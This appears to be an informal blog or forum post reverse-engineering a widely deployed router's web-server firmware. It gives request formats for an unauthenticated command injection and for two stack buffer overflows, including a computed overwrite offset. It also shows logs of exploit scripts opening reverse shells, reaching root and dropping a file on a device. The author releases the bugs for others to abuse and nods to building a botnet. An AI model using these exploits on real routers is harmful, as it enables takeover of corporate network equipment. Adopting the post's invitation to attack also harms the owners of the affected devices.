fire the firmware devs bro

as it turns out a lot of corps and companies have routers and i was lucky enough to find out that this specific router that a lot of companies use have firmware to download on the manufs official site.

opening this in 7zip i realized i was lazy and after looking through /bin and /usr/bin and other places i found a httpd, or in other words a server

opening it in ida

im too lazy to explain everything but ill make the functions look prettier and explain the general way they work. since httpd obv means a server for the router, there are endpoints that we can reach (duh). here is a snippet of a generic one i found:

int __fastcall GetWtpInformation(_DWORD *a1)
{
  void *v3; // [sp+10h] [bp-4024h] BYREF
  int v4; // [sp+14h] [bp-4020h] BYREF
  int v5; // [sp+18h] [bp-401Ch] BYREF
  _WORD *v6; // [sp+4018h] [bp-1Ch]
  void *s; // [sp+401Ch] [bp-18h]
  void *v8; // [sp+4020h] [bp-14h]
  int v9; // [sp+4024h] [bp-10h]

  v9 = 0;
  v8 = Lookup((int)a1, (int)"type", 0);
  if ( v8 )
  {
    sub_53F04(v8, &v4);
    s = malloc(32 * v4 + 20);
    v3 = 0;
// ...

this represents the endpoint /forms/GetWtpInformation, or:

POST /forms/GetWtpInformation 

type=blahblah something idk

where Lookup is something that without analysis looks like complete dogshit:

void *__fastcall sub_27790(int a1, int a2, int a3)
{
  int v6; // [sp+14h] [bp-10h]

  v6 = sub_1BF04(*(_DWORD *)(a1 + 32), a2);
  if ( !v6 )
    return (void *)a3;
  if ( (*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18) )
    return (void *)((*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18));
  return &unk_A4B4C;
}

changing the types help obv

this sub_1BF04 once you unfuck it is probably some helper that seems to take a tablebase and some key. basically its just a hash bucket string lookup over a linked list

nothing special so far, but while going through the code you will immediately realize the rampant use of something that one could argue is retarded:

int __fastcall TelnetConnect(_DWORD *a1)
{
  system("killall -9 telnetd");
  system("telnetd &");
  LogMsg((int)a1, "load telnetd success.");
  return StatusCode(a1, 200); 
}

very interesting obviously but lets keep going on. xrefing system yields only a few results which is probably good for now.

searching up system however yields something more worth taking a look at:

xrefing the newly found executeSystemCommand yields this:

clearly the developers arent sharp but with TelnetConnect it should be easy to infer that this is but a foregone conclusion

going through the xrefs

some of these are harmless:

puts("rm /var/masterDevInfo.xls!");
return (void *)executeSystemCommand("rm %s", "/var/masterDevInfo.xls");

some of these are of interest:

// in int __fastcall sub_8F7B0
for (int i =0; i <= 7; i++) {
    if (i < pic_array->count && pic_array[i].filename[0]) {
        sprintf(cmd, "rm -rf root/pictures/web/%s", pic_array[i].filename);
        executeSystemCommand(cmd);
    }
}

xrefing this, it belongs to a massive function called UploadImgInfothat i didnt bother fully analyzing because im too lazy. however it does have these parameters:

 s1 = (char *)Lookup(a1, (int)"action", (int)"create");
  v43 = (char *)Lookup(a1, (int)"targetName", (int)"0");
  nptr = (char *)Lookup(a1, (int)"addBasicStyle", (int)"0");
  v41 = (char *)Lookup(a1, (int)"addCategory", (int)"addCategory");
  v40 = (char *)Lookup(a1, (int)"addDescription", (int)"addDescription");
  v39 = Lookup(a1, (int)"authCode", (int)"123456");

so the call would be:

POST /forms/UploadImgInfo 

action=create&targetName=idk&addBasicStyle=idk&addCategory=hmm&addDescription=hi+world&authCode=???

and we have to reach this line to achieve our RCE:

  status = passFilter(a1, v24 + 4, v24 + 6);
  if ( status == 1 )
  {
    sub_8F7B0(v22, v23 + 2276); // we reach here
  }

passFilter

passFilter is obviously a bunch of checks to see if our input matches these rules:

char v15[64], s[64];
GrabVal((int)"int.behavior", (int)s1);
if ( strcmp((const char *)s1, "override") )
    return 1; // lmfao
...
DWORD nptr[8];
 v18 = strstr(*(const char **)(a1 + 184), "origDevIdentifier"); // a cookie
  if ( !v18 )
    return -1;
  v17 = sscanf(v18, "%*[^=]=%[^;];*", s);
  ...
  v17 = sscanf(s, "%[^:]:%s", v15, nptr);

notice that if int.behavior is override, it drops down to the checks for origDevIdentifier which is a cookie. interestingly sscanf(v18, "%*[^=]=%[^;];*", s) is obviously bad, since %[^;] means itll read until it encounters a semicolon. s is 64 bytes.

this obv is a BOF. however the stack layout requires us to overwrite these:

vars bp offset size
s bp-58h 64
v17 bp-18h 4
v18 bp-14h 4
i bp-10h 4
pushed bptr bp-00h 4
rip ($lr) bp+04h 4

so our offset is 92.

the exploit, therefore is:

POST /forms/{any endpoint that triggers the filter}
Cookie: origDevIdentifier=192.168.1.1:6767(b'A'*92)+[gadgets]

for obv reasons i wont release the exploit (should be pretty trivial to find gadgets however). obviously you can use the OSCI that we have to force ‘override’ mode pretty easily - youll see why we do this later on.

anyway back to the original executeSystemCommand thing. assume that int.behavior != override and we return 1, we pass the checks and immediately jump to our danger function sub_8F7B0(), with v21 as user controlled input. this fulfills:

sprintf(cmd, "rm -rf root/pictures/web/%s", pic_array[i].filename);
executeSystemCommand(cmd);

so we can set targetName as something like ; ls -al and itll work. nice

more

heres another function, namely in /forms/DeleteVlanPolicyBulk, which ill simplify for brevity:

int __fastcall DeleteVlanPolicyBulk(_DWORD *wow)
{
  size_t v1; // r0
  char v4[4096]; // [sp+10h] [bp-231Ch] BYREF
  char v5[4096]; // [sp+1010h] [bp-131Ch] BYREF
  char s1[256]; // [sp+2010h] [bp-31Ch] BYREF
  char s[512]; // [sp+2110h] [bp-21Ch] BYREF
  size_t n; // [sp+2310h] [bp-1Ch]
  FILE *stream; // [sp+2314h] [bp-18h]
  char *src; // [sp+2318h] [bp-14h]
  int v11; // [sp+231Ch] [bp-10h]
  src = (char *)Lookup((int)wow, (int)"policies", (int)&unk_A9B7C);
  ...
  // s = src at this point
  get_first_word(s1, s);
  ...

nothing of interest so far, until you look at get_first_word:

// analyzed it yw
char *__fastcall get_first_word(char *dest, char *src)
{
  int dest_idx; // [sp+8h] [bp-Ch]
  int src_idx; // [sp+Ch] [bp-8h]

  src_idx = 0;
  dest_idx = 0;
  while ( src[src_idx] == ' ' )
    ++src_idx;
  while ( src[src_idx] != ' ' && src[src_idx] )
    dest[dest_idx++] = src[src_idx++];
  dest[dest_idx] = 0;
  return dest;
}

a rule of thumb for finding vulns is if you see something akin to dest[dest_idx++] = src[src_idx++] and it looks weird its likely fucked. in this case theres obviously zero bounds checks. if len(src) > len(dest) we can write past anything. obv this is another easy rce exploit. writing an exploit for this is trivial thanks to the sheer amount of gadgets there are.

so the exploit essentially is:

POST /forms/DeleteVlanPolicyBulk

policies="A"*800+[gadgets]

testing

running exploit a (osci) and opening a reverse shell in the bg:

root@3cf9d4032deb9ba927fb1bab94d12eaa:~/z/xp# python yo.py [REDACTED]:1313 -p 6767
+ sent
========================================================================================================
root@3cf9d4032deb9ba927fb1bab94d12eaa:~/z/xp# nc -lnvp 6767
connect to [REDACTED] from (REDACTED) [REDACTED] 1313
echo hi
hi
id
uid=100(httpd) gid=100(httpd) groups=100(httpd)

obv we dont really have root yet but this is good ia for most. if we really want root, we can simply modify the config files with our current perms and run the other BOF exploits

running the cookie bof exploit now with override on:

root@3cf9d4032deb9ba927fb1bab94d12eaa:~/z/xp# python bofa.py [REDACTED]:8081 -p 6767 2>/dev/null
+ built payload 
+ ropping and shit mane 
1505 
+ sending...
+ revshell
======================================
root@3cf9d4032deb9ba927fb1bab94d12eaa:~/z/xp# nc -lnvp 6767
connect to [REDACTED] from (REDACTED) [REDACTED] 8081
id
uid=0(root) gid=0(root)
mount -o remount,rw / ; ls /* 2>/dev/null
... blah

or the first word exploit (this one took more time to make, since i made it drop a file to disk directly after shelling)

root@3cf9d4032deb9ba927fb1bab94d12eaa:~/z/xp# python firstword.py [REDACTED]:8081 2>/dev/null
+ built payload
+ ropping and shit mane
2413
+ sending...
+ got a shell, write
+ http://[REDACTED]:8081/dildo
root@3cf9d4032deb9ba927fb1bab94d12eaa:~/z/xp# curl http://[REDACTED]:8081/dildo
fuck you twin

ok so

i dont really care about these findings so feel free to have fun with them. finding gadgets and building the chain isnt hard either since you have a boatload of gadgets and its easy rop. you can root any router using this specific firmware (wont name brand but it starts with the letter Z) so you can now expand your lovense c2 net